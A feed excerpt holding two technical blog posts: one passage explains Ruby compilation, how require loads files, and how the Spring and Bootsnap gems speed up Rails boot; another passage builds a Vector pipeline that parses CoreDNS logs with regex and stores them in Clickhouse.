<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">irb</span><span class="p">(</span><span class="n">main</span><span class="p">):</span><span class="mo">043</span><span class="p">:</span><span class="mi">0</span><span class="o">&gt;</span> <span class="no">Ripper</span><span class="p">.</span><span class="nf">tokenize</span> <span class="n">code</span>
<span class="o">=&gt;</span> <span class="p">[</span><span class="s2">"def"</span><span class="p">,</span> <span class="s2">" "</span><span class="p">,</span> <span class="s2">"add"</span><span class="p">,</span> <span class="s2">"("</span><span class="p">,</span> <span class="s2">"x"</span><span class="p">,</span> <span class="s2">","</span><span class="p">,</span> <span class="s2">" "</span><span class="p">,</span> <span class="s2">"y"</span><span class="p">,</span> <span class="s2">")"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"x"</span><span class="p">,</span> <span class="s2">" "</span><span class="p">,</span> <span class="s2">"+"</span><span class="p">,</span> <span class="s2">" "</span><span class="p">,</span> <span class="s2">"y"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"end"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">]</span>
</code></pre></div></div>
<hr />

<p>And see the parsed form using ripper sexp</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">irb</span><span class="p">(</span><span class="n">main</span><span class="p">):</span><span class="mo">042</span><span class="p">:</span><span class="mi">0</span><span class="o">&gt;</span> <span class="n">pp</span> <span class="no">Ripper</span><span class="p">.</span><span class="nf">sexp</span><span class="p">(</span><span class="n">code</span><span class="p">)</span>
<span class="p">[</span><span class="ss">:program</span><span class="p">,</span>
 <span class="p">[[</span><span class="ss">:def</span><span class="p">,</span>
   <span class="p">[</span><span class="ss">:@ident</span><span class="p">,</span> <span class="s2">"add"</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">4</span><span class="p">]],</span>
   <span class="p">[</span><span class="ss">:paren</span><span class="p">,</span>
    <span class="p">[</span><span class="ss">:params</span><span class="p">,</span>
     <span class="p">[[</span><span class="ss">:@ident</span><span class="p">,</span> <span class="s2">"x"</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">8</span><span class="p">]],</span> <span class="p">[</span><span class="ss">:@ident</span><span class="p">,</span> <span class="s2">"y"</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">11</span><span class="p">]]],</span>
     <span class="kp">nil</span><span class="p">,</span>
     <span class="kp">nil</span><span class="p">,</span>
     <span class="kp">nil</span><span class="p">,</span>
     <span class="kp">nil</span><span class="p">,</span>
     <span class="kp">nil</span><span class="p">,</span>
     <span class="kp">nil</span><span class="p">]],</span>
   <span class="p">[</span><span class="ss">:bodystmt</span><span class="p">,</span>
    <span class="p">[[</span><span class="ss">:binary</span><span class="p">,</span>
      <span class="p">[</span><span class="ss">:var_ref</span><span class="p">,</span> <span class="p">[</span><span class="ss">:@ident</span><span class="p">,</span> <span class="s2">"x"</span><span class="p">,</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">]]],</span>
      <span class="p">:</span><span class="o">+</span><span class="p">,</span>
      <span class="p">[</span><span class="ss">:var_ref</span><span class="p">,</span> <span class="p">[</span><span class="ss">:@ident</span><span class="p">,</span> <span class="s2">"y"</span><span class="p">,</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">4</span><span class="p">]]]]],</span>
    <span class="kp">nil</span><span class="p">,</span>
    <span class="kp">nil</span><span class="p">,</span>
</code></pre></div></div>

<p>We can also take look at how the Instruction sequence(yarv code) looks like</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">irb</span><span class="p">(</span><span class="n">main</span><span class="p">):</span><span class="mo">052</span><span class="p">:</span><span class="mi">0</span><span class="o">&gt;</span> <span class="nb">puts</span> <span class="no">RubyVM</span><span class="o">::</span><span class="no">InstructionSequence</span><span class="p">.</span><span class="nf">compile</span><span class="p">(</span><span class="n">code</span><span class="p">).</span><span class="nf">disasm</span>
<span class="o">==</span> <span class="ss">disasm: </span><span class="c1">#&lt;ISeq:&lt;compiled&gt;@&lt;compiled&gt;:1 (1,0)-(3,3)&gt; (catch: FALSE)</span>
<span class="mo">0000</span> <span class="n">definemethod</span>                           <span class="ss">:add</span><span class="p">,</span> <span class="n">add</span>                 <span class="p">(</span>   <span class="mi">1</span><span class="p">)[</span><span class="no">Li</span><span class="p">]</span>
<span class="mo">0003</span> <span class="n">putobject</span>                              <span class="ss">:add</span>
<span class="mo">0005</span> <span class="n">leave</span>

<span class="o">==</span> <span class="ss">disasm: </span><span class="c1">#&lt;ISeq:add@&lt;compiled&gt;:1 (1,0)-(3,3)&gt; (catch: FALSE)</span>
<span class="n">local</span> <span class="n">table</span> <span class="p">(</span><span class="ss">size: </span><span class="mi">2</span><span class="p">,</span> <span class="ss">argc: </span><span class="mi">2</span> <span class="p">[</span><span class="ss">opts: </span><span class="mi">0</span><span class="p">,</span> <span class="ss">rest: </span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="ss">post: </span><span class="mi">0</span><span class="p">,</span> <span class="ss">block: </span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="ss">kw: </span><span class="o">-</span><span class="mi">1</span><span class="err">@</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="ss">kwrest: </span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
<span class="p">[</span> <span class="mi">2</span><span class="p">]</span> <span class="n">x</span><span class="err">@</span><span class="mi">0</span><span class="o">&lt;</span><span class="no">Arg</span><span class="o">&gt;</span>   <span class="p">[</span> <span class="mi">1</span><span class="p">]</span> <span class="n">y</span><span class="err">@</span><span class="mi">1</span><span class="o">&lt;</span><span class="no">Arg</span><span class="o">&gt;</span>
<span class="mo">0000</span> <span class="n">getlocal_WC_0</span>                          <span class="n">x</span><span class="err">@</span><span class="mi">0</span>                       <span class="p">(</span>   <span class="mi">2</span><span class="p">)[</span><span class="no">LiCa</span><span class="p">]</span>
<span class="mo">0002</span> <span class="n">getlocal_WC_0</span>                          <span class="n">y</span><span class="err">@</span><span class="mi">1</span>
<span class="mo">0004</span> <span class="n">opt_plus</span>                               <span class="o">&lt;</span><span class="n">calldata!mid</span><span class="p">:</span><span class="o">+</span><span class="p">,</span> <span class="n">argc</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span> <span class="no">ARGS_SIMPLE</span><span class="o">&gt;</span>
<span class="mo">0006</span> <span class="n">leave</span>                                                            <span class="p">(</span>   <span class="mi">3</span><span class="p">)[</span><span class="no">Re</span><span class="p">]</span>
<span class="o">=&gt;</span> <span class="kp">nil</span>
</code></pre></div></div>

<p>Explaining the terms in the parsed and compiled code is beyond the scope of this blog post, and I recommend reading Ruby Under a Microscope.</p>

<p>Newer versions of ruby also allows us to compile the code to binary and execute them later. it is experimental and platform dependent.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>? <span class="nb">cat </span>example.rb
number <span class="o">=</span> 23
puts number + 23
? ruby <span class="nt">-e</span> <span class="s2">"File.write('example.bin',RubyVM::InstructionSequence.compile_file('example.rb')
.to_binary)"</span>
? <span class="nb">cat </span>example.bin
YARB@
     ?x86_64-darwin18%?#?%?gw
numberE+Eexampleputs?????????%
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">irb</span><span class="p">(</span><span class="n">main</span><span class="p">):</span><span class="mo">01</span><span class="mi">8</span><span class="p">:</span><span class="mi">0</span><span class="o">&gt;</span>  <span class="no">RubyVM</span><span class="o">::</span><span class="no">InstructionSequence</span><span class="p">.</span><span class="nf">load_from_binary</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="s1">'example.bin'</span><span class="p">)).</span><span class="nf">eval</span>
<span class="mi">46</span>
</code></pre></div></div>
<hr />
<p>That is it for the ruby compilation process for now. Now let’s how the ruby’s <code class="language-plaintext highlighter-rouge">require</code> method works.</p>

<p>Contrary to what I thought initially, require is not a keyword in ruby, it is a method from ruby’s Kernal module.</p>

<p>Let’s look at the overly simplified version of <code class="language-plaintext highlighter-rouge">require</code> method for our context.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">require</span><span class="p">(</span><span class="n">file_name</span><span class="p">)</span>
  <span class="nb">eval</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>
<hr />

<p>Two main issues with this implementation are</p>
<ol>
  <li>Requiring same file again will load the file again</li>
  <li>Only absolute paths are supported</li>
</ol>

<p>We can fix these issues in the following ways</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="vg">$LOADED_FEATURES</span> <span class="o">=</span> <span class="p">[]</span>
  <span class="k">def</span> <span class="nf">require</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
    <span class="k">return</span> <span class="kp">false</span> <span class="k">if</span> <span class="vg">$LOADED_FEATURES</span><span class="p">.</span><span class="nf">include?</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
    <span class="nb">eval</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
    <span class="vg">$LOADED_FEATURES</span> <span class="o">&lt;&lt;</span> <span class="n">filename</span>
  <span class="k">end</span>
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="vg">$LOAD_PATH</span> <span class="o">=</span> <span class="p">[]</span>
  <span class="c1">#$LOAD_PATH = += gems_path + stdlib path + application code paths</span>

  <span class="k">def</span> <span class="nf">require</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
    <span class="n">full_path</span> <span class="o">=</span> <span class="vg">$LOAD_PATH</span><span class="p">.</span><span class="nf">take</span> <span class="k">do</span> <span class="o">|</span><span class="n">path</span><span class="o">|</span>
      <span class="no">File</span><span class="p">.</span><span class="nf">exist?</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">))</span>
    <span class="k">end</span>

    <span class="nb">eval</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">full_path</span><span class="p">)</span>
  <span class="k">end</span>
</code></pre></div></div>

<p>While above code snippets are dummy implementations, Ruby actually uses the constants <code class="language-plaintext highlighter-rouge">$LOADED_FEATURES</code> and <code class="language-plaintext highlighter-rouge">$LOAD_PATH </code>for the same use case. Here is a stat from one of our  app for reference</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>irb<span class="o">(</span>main<span class="o">)</span>:054:0&gt;  <span class="nv">$LOADED_FEATURES</span>.count
<span class="o">=&gt;</span> 6552
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">irb</span><span class="p">(</span><span class="n">main</span><span class="p">):</span><span class="mo">05</span><span class="mi">8</span><span class="p">:</span><span class="mi">0</span><span class="o">&gt;</span> <span class="vg">$LOAD_PATH</span><span class="p">.</span><span class="nf">count</span>
<span class="o">=&gt;</span> <span class="mi">779</span>
</code></pre></div></div>

<p>Another important method we need to recall is the fork system call in POSIX systems. <code class="language-plaintext highlighter-rouge">fork</code> allows the OS to create a new process as the child process with the same  memory space. Modern hardware architectures like x86 allows the OS to optimise the fork with a mechanism called copy on write. In short it is very cheap to create a forked process of an app than loading that app from scratch.</p>

<p>Now let’s look at the gems from the title.</p>

<p>Spring is a rails only tool to speedup development and test environments. It creates your app process in the background for development and test environments and acts as a server. When you run a process like <code class="language-plaintext highlighter-rouge">bundle exec rails server</code> or <code class="language-plaintext highlighter-rouge">bundle exec rspec</code> it sends the data like command, ENV values, arguments etc to spring server, and spring server will fork the server process and run the task.</p>

<p>Since the server process already loaded the app, the loading time of the app will be negligible and your task will run faster.</p>

<p>But when the code changes, the server process needs to update and it may fail due to various reasons, like adding new directories. That is why you ended up having to run <code class="language-plaintext highlighter-rouge">spring stop</code> manually or restart the system to make the application behave as expected.</p>

<p>The serve method in Spring is provided as reference. You can see zipping io values, fetching arguments, env etc from client, forking the new process etc in the below snippet.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">def</span> <span class="nf">serve</span><span class="p">(</span><span class="n">client</span><span class="p">)</span>
      <span class="n">log</span> <span class="s2">"got client"</span>
      <span class="n">manager</span><span class="p">.</span><span class="nf">puts</span>

      <span class="n">_stdout</span><span class="p">,</span> <span class="n">stderr</span><span class="p">,</span> <span class="n">_stdin</span> <span class="o">=</span> <span class="n">streams</span> <span class="o">=</span> <span class="mi">3</span><span class="p">.</span><span class="nf">times</span><span class="p">.</span><span class="nf">map</span> <span class="p">{</span> <span class="n">client</span><span class="p">.</span><span class="nf">recv_io</span> <span class="p">}</span>
      <span class="p">[</span><span class="no">STDOUT</span><span class="p">,</span> <span class="no">STDERR</span><span class="p">,</span> <span class="no">STDIN</span><span class="p">].</span><span class="nf">zip</span><span class="p">(</span><span class="n">streams</span><span class="p">).</span><span class="nf">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="o">|</span> <span class="n">a</span><span class="p">.</span><span class="nf">reopen</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="p">}</span>

      <span class="n">preload</span> <span class="k">unless</span> <span class="n">preloaded?</span>

      <span class="n">args</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="no">JSON</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="n">client</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">client</span><span class="p">.</span><span class="nf">gets</span><span class="p">.</span><span class="nf">to_i</span><span class="p">)).</span><span class="nf">values_at</span><span class="p">(</span><span class="s2">"args"</span><span class="p">,</span> <span class="s2">"env"</span><span class="p">)</span>
      <span class="n">command</span>   <span class="o">=</span> <span class="no">Spring</span><span class="p">.</span><span class="nf">command</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="nf">shift</span><span class="p">)</span>

      <span class="n">connect_database</span>
      <span class="n">setup</span> <span class="n">command</span>

      <span class="k">if</span> <span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">reloaders</span><span class="p">.</span><span class="nf">any?</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:updated?</span><span class="p">)</span>
        <span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">reloader</span><span class="p">.</span><span class="nf">reload!</span>
      <span class="k">end</span>

      <span class="n">pid</span> <span class="o">=</span> <span class="nb">fork</span> <span class="p">{</span>
        <span class="no">Process</span><span class="p">.</span><span class="nf">setsid</span>
        <span class="no">IGNORE_SIGNALS</span><span class="p">.</span><span class="nf">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">sig</span><span class="o">|</span> <span class="nb">trap</span><span class="p">(</span><span class="n">sig</span><span class="p">,</span> <span class="s2">"DEFAULT"</span><span class="p">)</span> <span class="p">}</span>
        <span class="nb">trap</span><span class="p">(</span><span class="s2">"TERM"</span><span class="p">,</span> <span class="s2">"DEFAULT"</span><span class="p">)</span>

        <span class="k">unless</span> <span class="no">Spring</span><span class="p">.</span><span class="nf">quiet</span>
          <span class="no">STDERR</span><span class="p">.</span><span class="nf">puts</span> <span class="s2">"Running via Spring preloader in process </span><span class="si">#{</span><span class="no">Process</span><span class="p">.</span><span class="nf">pid</span><span class="si">}</span><span class="s2">"</span>

          <span class="k">if</span> <span class="no">Rails</span><span class="p">.</span><span class="nf">env</span><span class="p">.</span><span class="nf">production?</span>
            <span class="no">STDERR</span><span class="p">.</span><span class="nf">puts</span> <span class="s2">"WARNING: Spring is running in production. To fix "</span>         <span class="p">\</span>
                        <span class="s2">"this make sure the spring gem is only present "</span>            <span class="p">\</span>
                        <span class="s2">"in `development` and `test` groups in your Gemfile "</span>       <span class="p">\</span>
                        <span class="s2">"and make sure you always use "</span>                             <span class="p">\</span>
                        <span class="s2">"`bundle install --without development test` in production"</span>
          <span class="k">end</span>
        <span class="k">end</span>

        <span class="no">ARGV</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="n">args</span><span class="p">)</span>
        <span class="vg">$0</span> <span class="o">=</span> <span class="n">command</span><span class="p">.</span><span class="nf">exec_name</span>

        <span class="c1"># Delete all env vars which are unchanged from before Spring started</span>
        <span class="n">original_env</span><span class="p">.</span><span class="nf">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="o">|</span> <span class="no">ENV</span><span class="p">.</span><span class="nf">delete</span> <span class="n">k</span> <span class="k">if</span> <span class="no">ENV</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">==</span> <span class="n">v</span> <span class="p">}</span>

        <span class="c1"># Load in the current env vars, except those which *were* changed when Spring started</span>
        <span class="n">env</span><span class="p">.</span><span class="nf">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">k</span><span class="p">,</span> <span class="n">v</span><span class="o">|</span> <span class="no">ENV</span><span class="p">[</span><span class="n">k</span><span class="p">]</span> <span class="o">||=</span> <span class="n">v</span> <span class="p">}</span>

        <span class="c1"># requiring is faster, so if config.cache_classes was true in</span>
        <span class="c1"># the environment's config file, then we can respect that from</span>
        <span class="c1"># here on as we no longer need constant reloading.</span>
        <span class="k">if</span> <span class="vi">@original_cache_classes</span>
          <span class="no">ActiveSupport</span><span class="o">::</span><span class="no">Dependencies</span><span class="p">.</span><span class="nf">mechanism</span> <span class="o">=</span> <span class="ss">:require</span>
          <span class="no">Rails</span><span class="p">.</span><span class="nf">application</span><span class="p">.</span><span class="nf">config</span><span class="p">.</span><span class="nf">cache_classes</span> <span class="o">=</span> <span class="kp">true</span>
        <span class="k">end</span>

        <span class="n">connect_database</span>
        <span class="nb">srand</span>

        <span class="n">invoke_after_fork_callbacks</span>
        <span class="n">shush_backtraces</span>

        <span class="n">command</span><span class="p">.</span><span class="nf">call</span>
      <span class="p">}</span>

      <span class="n">disconnect_database</span>

      <span class="n">log</span> <span class="s2">"forked </span><span class="si">#{</span><span class="n">pid</span><span class="si">}</span><span class="s2">"</span>
      <span class="n">manager</span><span class="p">.</span><span class="nf">puts</span> <span class="n">pid</span>

      <span class="n">wait</span> <span class="n">pid</span><span class="p">,</span> <span class="n">streams</span><span class="p">,</span> <span class="n">client</span>
    <span class="k">rescue</span> <span class="no">Exception</span> <span class="o">=&gt;</span> <span class="n">e</span>
      <span class="n">log</span> <span class="s2">"exception: </span><span class="si">#{</span><span class="n">e</span><span class="si">}</span><span class="s2">"</span>
      <span class="n">manager</span><span class="p">.</span><span class="nf">puts</span> <span class="k">unless</span> <span class="n">pid</span>

      <span class="k">if</span> <span class="n">streams</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">e</span><span class="p">.</span><span class="nf">is_a?</span><span class="p">(</span><span class="no">SystemExit</span><span class="p">)</span>
        <span class="n">print_exception</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
        <span class="n">streams</span><span class="p">.</span><span class="nf">each</span><span class="p">(</span><span class="o">&amp;</span><span class="ss">:close</span><span class="p">)</span>
      <span class="k">end</span>

      <span class="n">client</span><span class="p">.</span><span class="nf">puts</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">if</span> <span class="n">pid</span>
      <span class="n">client</span><span class="p">.</span><span class="nf">close</span>
    <span class="k">ensure</span>
      <span class="c1"># Redirect STDOUT and STDERR to prevent from keeping the original FDs</span>
      <span class="c1"># (i.e. to prevent `spring rake -T | grep db` from hanging forever),</span>
      <span class="c1"># even when exception is raised before forking (i.e. preloading).</span>
      <span class="n">reset_streams</span>
    <span class="k">end</span>
</code></pre></div></div>

<p>Bootsnap is a gem released by shopify by extracting boot time improvements they made in their app. We can categorise them into two parts</p>
<h3 id="path-prescanning">Path prescanning</h3>

<ul>
  <li>Kernel#require and Kernel#load are modified to eliminate $LOAD_PATH scans</li>
  <li>ActiveSupport::Dependencies.{autoloadable_module?,load_missing_constant,depend_on} are overridden to eliminate scans of ActiveSupport::Dependencies.autoload_paths.</li>
</ul>

<h3 id="compilation-caching">Compilation Caching</h3>

<ul>
  <li>RubyVM::InstructionSequence.load_iseq is implemented to cache the result of Ruby bytecode compilation</li>
  <li>YAML.load_file is modified to cache the result of loading a YAML object in MessagePack format (or Marshal, if the message uses types unsupported by MessagePack)</li>
</ul>

<p>If you look at the pseudo code above to demonstrate the LOAD_PATH behaviour, you will see that we need to check file existence every time we do a require, which is an io operation and not very cheap to perform. What if we can do something like this?</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">def</span> <span class="nf">require</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
    <span class="k">if</span> <span class="vg">$CACHED_PATH</span><span class="p">[</span><span class="n">file_name</span><span class="p">]</span>
      <span class="n">full_path</span> <span class="o">=</span> <span class="vg">$CACHED_PATH</span><span class="p">[</span><span class="n">filename</span><span class="p">]</span>
    <span class="k">else</span>
      <span class="n">full_path</span> <span class="o">=</span> <span class="vg">$LOAD_PATH</span><span class="p">.</span><span class="nf">take</span> <span class="k">do</span> <span class="o">|</span><span class="n">path</span><span class="o">|</span>
        <span class="no">File</span><span class="p">.</span><span class="nf">exist?</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">filename</span><span class="p">))</span>
      <span class="k">end</span>
    <span class="k">end</span>

    <span class="nb">eval</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">full_path</span><span class="p">)</span>
 <span class="k">end</span>
</code></pre></div></div>

<p>load path for a library is not something that changes very often, especially for gem paths and standard library paths, bootsnap caches them to save redundant file checks. Not that cache duration and expiration vary with files, so caching them in a constant won’t work. <code class="language-plaintext highlighter-rouge">CACHED_PATH</code> is just for reference and not used by the gem.</p>

<p>Another important optimization by bootsnap is the compilation cache. We covered the ruby compilation process in the beginning and saw that every single file needed to go through the compilation process every single time they got called. Bootsnap addresses this by caching yarv code(instruction sequence) and compiling the code only if the code changes.</p>

<p>There are also other optimised YAML loading by caching in an optimised format. overall Bootsnap gives impressive benefits as it works on production as well. We got about 30% reduction in boottime for our production ecommerce app.</p>

<p>Note: This was originaly presented in internal tech talk in Sephora and made some tweaks to the content for wider audience.</p>]]></content:encoded>
            <author>Aboobacker M K</author>
        </item>
        <item>
            <title><![CDATA[Analyzing CoreDNS logs with Clickhouse and Vector]]></title>
            <link>https://mrkaran.dev/posts/coredns-vector-clickhouse/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/coredns-vector-clickhouse/</guid>
            <pubDate>Fri, 04 Jun 2021 18:30:00 GMT</pubDate>
            <description><![CDATA[I’ve been toying around Clickhouse and Vector at my day job and find both of these tools pretty interesting at what they do. A short summary for those unaware of these tools:
Vector helps you build a pipeline for collecting, transforming and processing different kinds of observability data (logs and metrics).
Clickhouse is a columnar based DB used as a warehousing tool for generating reports and analytics.
Now, for the context, I use coredns on my personal dev machine as it supports Split DNS (routing certain zones to a particular resolver) which I need for accessing internal domains at work. Yep, systemd-resolved can also do this, but I find coredns easier to configure and manage with OpenVPN as well.
Anyway, so one random evening, I got the idea of dumping CoreDNS Logs to Clickhouse. Maaaybe I was still hungover from the Vector/Clickhouse work I was doing at work but nevertheless I was interested in it.
Overview#
Gather logs from CoreDNS.
Transform the logs with regex and construct a payload for Clickhouse.
Write a schema for the logs table.
Dump to Clickhouse.
Here’s how the pipeline looks:

Collecting Logs#
First, let’s look at how the raw logs are structured by CoreDNS:
[INFO] 127.0.0.1:55678 - 21963 "A IN xpui.app.spotify.com. udp 38 false 512" NXDOMAIN qr,rd,ra 121 0.061416978s
[INFO] 127.0.0.1:59333 - 22742 "AAAA IN incoming.telemetry.mozilla.org. udp 48 false 512" NOERROR qr,aa,rd,ra 106 0.049235139s
[INFO] 127.0.0.1:39609 - 47247 "AAAA IN ping.archlinux.org. udp 36 false 512" NOERROR qr,rd,ra 140 0.056721154s
Vector provides a variety of sources to collect these logs. Since I am running coredns as a Docker container, the following config shows how to collect logs from a particular container:
# Filter coredns logs from Docker logs
[sources.coredns_logs]
  type = "docker_logs" # required
  docker_host = "unix:///var/run/docker.sock"
  include_images = ["coredns/coredns"] # optional, no default
The above config basically specifies a Docker Host variable and an image name filter. Vector talks to the Docker API over a unix socket and gathers metadata about the container (like container_created_at, container_name, label etc).
After collecting logs from Vector, it enriches with the following metadata.
{
    "container_created_at": "2021-06-04T14:18:03.967143133Z",
    "container_id": "00c5c4d36ea5b4772b517d3cca7d397c92f72be2a2bf45bb8c430f717fbd331e",
    "container_name": "coredns_coredns_1",
    "host": "iris",
    "image": "coredns/coredns",
    "label": {
        "com.docker.compose.config-hash": "928d71143c2af6553d551dbbf14140304d53f92378746454fbfeb0382a896d5b",
        "com.docker.compose.container-number": "1",
        "com.docker.compose.oneoff": "False",
        "com.docker.compose.project": "coredns",
        "com.docker.compose.project.config_files": "/home/karan/Code/Infra/coredns/hydra-vpn-compose.yml",
        "com.docker.compose.project.working_dir": "/home/karan/Code/Infra/coredns",
        "com.docker.compose.service": "coredns",
        "com.docker.compose.version": "1.29.2"
    },
    "message": "[INFO] 127.0.0.1:38266 - 20341 \"A IN open.spotify.com. udp 34 false 512\" NOERROR qr,rd,ra 160 0.300268123s",
    "source_type": "docker",
    "stream": "stdout",
    "timestamp": "2021-06-04T16:13:07.454601872Z"
}
(NOTE: I am using console sink to dump these logs to STDOUT. It’s pretty handy for inspecting logs).
# Print parsed logs to stdout
[sinks.print]
type = "console"
inputs = ["coredns_logs"]
encoding.codec = "json"
As you can see from the above JSON object, Vector has transformed the log with its own Data Model. The log that we care about now is inside .message key. It’s nice to have other metadata as well.
Transforming the logs#
Our objectives at this step:
Discard unused fields. We don’t really care about container metadata for this mini-project.
Parse the message field with regex so they can be stored in individual columns in our Clickhouse table.
Now, CoreDNS can emit two kinds of logs (INFO and ERROR). The error usually happens when the upstream resolver is unreachable or there’s an issue with any of the CoreDNS plugins.
We need to write regex for both cases:
INFO logs:
\[(?P<level>[^]]+)]\s(?P<server_addr>[^:]+):(?P<server_port>\S+)\s+-\s+(?P<id>\S+)\s+(?P<type>\S+)\s+(?P<class>\S+)\s+(?P<name>\S+)\s+(?P<proto>\S+)\s+(?P<size>\S+)\s+(?P<do>\S+)\s+(?P<bufsize>[^"]+)"\s+(?P<rcode>\S+)\s+(?P<rflags>\S+)\s+(?P<rsize>\S+)\s+(?P<duration>[\d\.]+).*

ERROR logs:
\[(?P<level>ERROR)]\s+(?P<component>plugin\/errors):\s+(?P<code>\S)+\s+(?P<name>\S+)\s+(?P<type>[^:]*):\s+(?P<error_msg>.*)

Combining a bunch of other things to remove some fields and constructing the final payload, the config looks like this:

# Parse coredns logs
[transforms.parse_logs]
type = "remap"
inputs = ["coredns_logs"]
source = '''
# parse the log event.
ts = .timestamp
log,err = parse_regex(.message,r'\[(?P<level>[^]]+)]\s(?P<server_addr>[^:]+):(?P<server_port>\S+)\s+-\s+(?P<id>\S+)\s+"(?P<type>\S+)\s+(?P<class>\S+)\s+(?P<name>\S+)\s+(?P<proto>\S+)\s+(?P<size>\S+)\s+(?P<do>\S+)\s+(?P<bufsize>[^"]+)"\s+(?P<rcode>\S+)\s+(?P<rflags>\S+)\s+(?P<rsize>\S+)\s+(?P<duration>[\d\.]+).*')
if err !=null {
    # capture the error log. If the error log also fails to get parsed, the log event is dropped.
  log = parse_regex!(.message,r'\[(?P<level>ERROR)]\s+(?P<component>plugin/errors):\s+(?P<code>\S)+\s+(?P<name>\S+)\s+(?P<type>[^:]*):\s+(?P<error_msg>.*)')
}
. = log
# add timestamp
.timestamp = ts
# remove fields we dont care about
del(.do)
'''
drop_on_error = true
Apart from regex matching, we store the timestamp as received from Vector (since CoreDNS logs don’t contain any timestamp information). We delete some fields that we don’t care about.
Vector uses a powerful DSL (called VRL) to do such kind of transformations on the fly. It has a lot of functions to do almost any kind of transformation to your original event payload. You can invoke vector vrl from the terminal and get a shell to write the above transformations and debug quickly. It proved to be really useful when dealing with such a long regex pattern.
Storing in Clickhouse#
Finally we get to the part where we need to dump these logs to our Clickhouse DB. Here’s the schema for the table where we will be storing these records:
CREATE DATABASE IF NOT EXISTS `coredns`;

CREATE TABLE IF NOT EXISTS `coredns`.`logs` (
    `timestamp` DateTime('Asia/Kolkata'),
    `bufsize` Int32,
    `class` LowCardinality(String),
    `duration` Float64,
    `id` Int32,
    `level` LowCardinality(String),
    `name` String,
    `proto` LowCardinality(String),
    `rcode` LowCardinality(String),
    `rflags` String,
    `server_addr` String,
    `server_port` Int32,
    `rsize` Int32,
    `size`  Int32,
    `type` LowCardinality(String)
) ENGINE = MergeTree()
PARTITION BY toYYYYMM(timestamp)
ORDER BY toYYYYMMDD(timestamp)
TTL timestamp + INTERVAL 1 WEEK;
Key things to note:
LowCardinality is used for columns where the data is predictable to reduce the disk space used.
Clickhouse uses the sort key as the primary key if unspecified. This is the default behaviour.
TTL for the records is set to 1 week. After 1 week all the records will be purged. Since this is my dev machine, I don’t really care about a higher TTL.
